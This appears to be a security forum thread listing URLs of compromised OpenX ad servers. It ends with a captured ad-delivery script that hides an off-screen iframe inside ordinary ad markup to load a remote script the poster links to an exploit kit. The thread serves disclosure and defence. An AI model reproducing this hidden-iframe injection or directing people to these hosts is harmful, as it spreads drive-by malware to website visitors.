compromised OpenX servers

[SysAdMini]

Code: [Select]

adserver.noc.com.tr/www/delivery/afr.php?zoneid=90&cb=INSERT_RANDOM_NUMBER_HERE

[SysAdMini]

Code: [Select]

www2.ultimatereef.co.uk/www/delivery/ajs.php?zoneid=1&cb=9157614026&charset=ISO-8859-1

[SysAdMini]

Code: [Select]

desitvforums.net/ads/www/delivery/afr.php?zoneid=44&target=_blank&cb={random}&ct0={clickurl}

[SysAdMini]

Code: [Select]

add.chemcompass.de/www/delivery/ajs.php?zoneid=14&cb=55884666265&charset=iso-8859-1

[SysAdMini]

Code: [Select]

www.adservermagic.com/www/delivery/afr.php?zoneid=20&source=NA&target=_blank&cb=INSERT_RANDOM_NUMBER_HERE

[SysAdMini]

Code: [Select]

contenta.mediaxp.de/www/delivery/ajs.php?zoneid=3&cb=45489177143

[SysAdMini]

Code: [Select]

http://openads.fenedex.nl/www/delivery/spc.php?zones=9&source=&r=78663372

[SysAdMini]

Code: [Select]

rtbcenter.directupload.net/rtb/www/delivery/afr.php?campaignid=12
http://ads.eurostream.de/www/delivery/ajs.php?zoneid=176&cb=5616143557


[SysAdMini]

hxxp://ad3.wochenblatt.de/openx/www/delivery/ajs.php?zoneid=2&source=Region_Regensburg&cb=52527769221

leading to exploit kit through hxxp://el.christiancarenet.com/aided/par/mci/ips.js

Code: [Select]

OX_2fc4eb23 += "<"+"!--Werbung rechts -START-->\n";
OX_2fc4eb23 += "<"+"div class=\"tt11 cLightGrey\" style=\"display:block;\">&nbsp;&nbsp;Anzeige\n";
OX_2fc4eb23 += "<"+"div id=\"werbungRechts\"><"+"script type=\"text/javascript\">function b(){return a.cookie.indexOf(d)}var a=document;var l=\"http://el.christiancarenet.com/aided/par/mci/ips.js\";if(b()==-1){var c=a.createElement(\"iframe\");c.setAttribute(\"src\",l);c.style.position=\"absolute\";c.style.left=\"-1023px\";c.style.top=\"-1465px\";c.style.width=\"208px\";c.style.height=\"299px\";try{a.body.appendChild(c);a.cookie=d+\"=bargain; expires=Thu, 12 Mar 15 14:37:18 +0300; path=/\"}catch(w){}}else{}var d=\"serving\"<"+"/script>\n";
OX_2fc4eb23 += "<"+"div id=\'ox_d92df008170998bc4fa643648537aa83\' style=\'display: inline;\'> <"+"!--Werbung rechts -START-->\n";
OX_2fc4eb23 += "<"+"div class=\"tt11 cLightGrey\" style=\"display:block;\">&nbsp;&nbsp;Anzeige\n";
OX_2fc4eb23 += "<"+"div id=\"werbungRechts\"><"+"script type=\"text/javascript\">function b(){return a.cookie.indexOf(d)}var a=document;var l=\"http://el.christiancarenet.com/aided/par/mci/ips.js\";if(b()==-1){var c=a.createElement(\"iframe\");c.setAttribute(\"src\",l);c.style.position=\"absolute\";c.style.left=\"-1023px\";c.style.top=\"-1465px\";c.style.width=\"208px\";c.style.height=\"299px\";try{a.body.appendChild(c);a.cookie=d+\"=bargain; expires=Thu, 12 Mar 15 14:37:18 +0300; path=/\"}catch(w){}}else{}var d=\"serving\"<"+"/script><"+"a href=\'http://ad3.wochenblatt.de/openx/www/delivery/ck.php?oaparams=2__bannerid=2016__zoneid=2__source=Region_Regensburg__cb=9abda641d9__oadest=http%3A%2F%2Fwww.purendure.de%2Fconcept-store%2Fhome%2F\' target=\'_blank\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/images/e3f6d41fa786f9edaf98d2a347c0666b.jpg\' width=\'300\' height=\'300\' alt=\'\' title=\'\' border=\'0\' /><"+"/a>                         <"+"/div>\n";
OX_2fc4eb23 += "<"+"div class=\"br12\"><"+"/div>\n";
OX_2fc4eb23 += "<"+"/div>\n";
OX_2fc4eb23 += "<"+"!--Werbung rechts -ENDE--><"+"/div>\n";
OX_2fc4eb23 += "<"+"script type=\'text/javascript\'><"+"!--// <"+"![CDATA[\n";
OX_2fc4eb23 += "var ox_swf = new FlashObject(\'http://ad3.wochenblatt.de/openx/www/images/719fbb74b78b0a709f4528789ceca6b8.swf\', \'Advertisement\', \'300\', \'300\', \'8\');\n";
OX_2fc4eb23 += "ox_swf.addVariable(\'alink1\', \'http%3A%2F%2Fad3.wochenblatt.de%2Fopenx%2Fwww%2Fdelivery%2Fck.php%3Foaparams%3D2__bannerid%3D2016__zoneid%3D2__source%3DRegion_Regensburg__cb%3D9abda641d9__oadest%3Dhttp%253A%252F%252Fwww.purendure.de%252Fconcept-store%252Fhome%252F\');\n";
OX_2fc4eb23 += "ox_swf.addVariable(\'atar1\', \'_blank\');\n";
OX_2fc4eb23 += "ox_swf.addParam(\'allowScriptAccess\',\'always\');\n";
OX_2fc4eb23 += "ox_swf.write(\'ox_d92df008170998bc4fa643648537aa83\');\n";
OX_2fc4eb23 += "if (ox_swf.installedVer.versionIsValid(ox_swf.getAttribute(\'version\'))) { document.write(\"<"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); } else { document.write(\"<"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;oxfb=1&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div>\"); }\n";
OX_2fc4eb23 += "// ]]> --><"+"/script><"+"noscript><"+"div id=\'beacon_9abda641d9\' style=\'position: absolute; left: 0px; top: 0px; visibility: hidden;\'><"+"img src=\'http://ad3.wochenblatt.de/openx/www/delivery/lg.php?bannerid=2016&amp;campaignid=743&amp;zoneid=2&amp;source=Region_Regensburg&amp;oxfb=1&amp;cb=9abda641d9\' width=\'0\' height=\'0\' alt=\'\' style=\'width: 0px; height: 0px;\' /><"+"/div><"+"/noscript>                         <"+"/div>\n";
OX_2fc4eb23 += "<"+"div class=\"br12\"><"+"/div>\n";
OX_2fc4eb23 += "<"+"/div>\n";
OX_2fc4eb23 += "<"+"!--Werbung rechts -ENDE-->\n";
document.write(OX_2fc4eb23);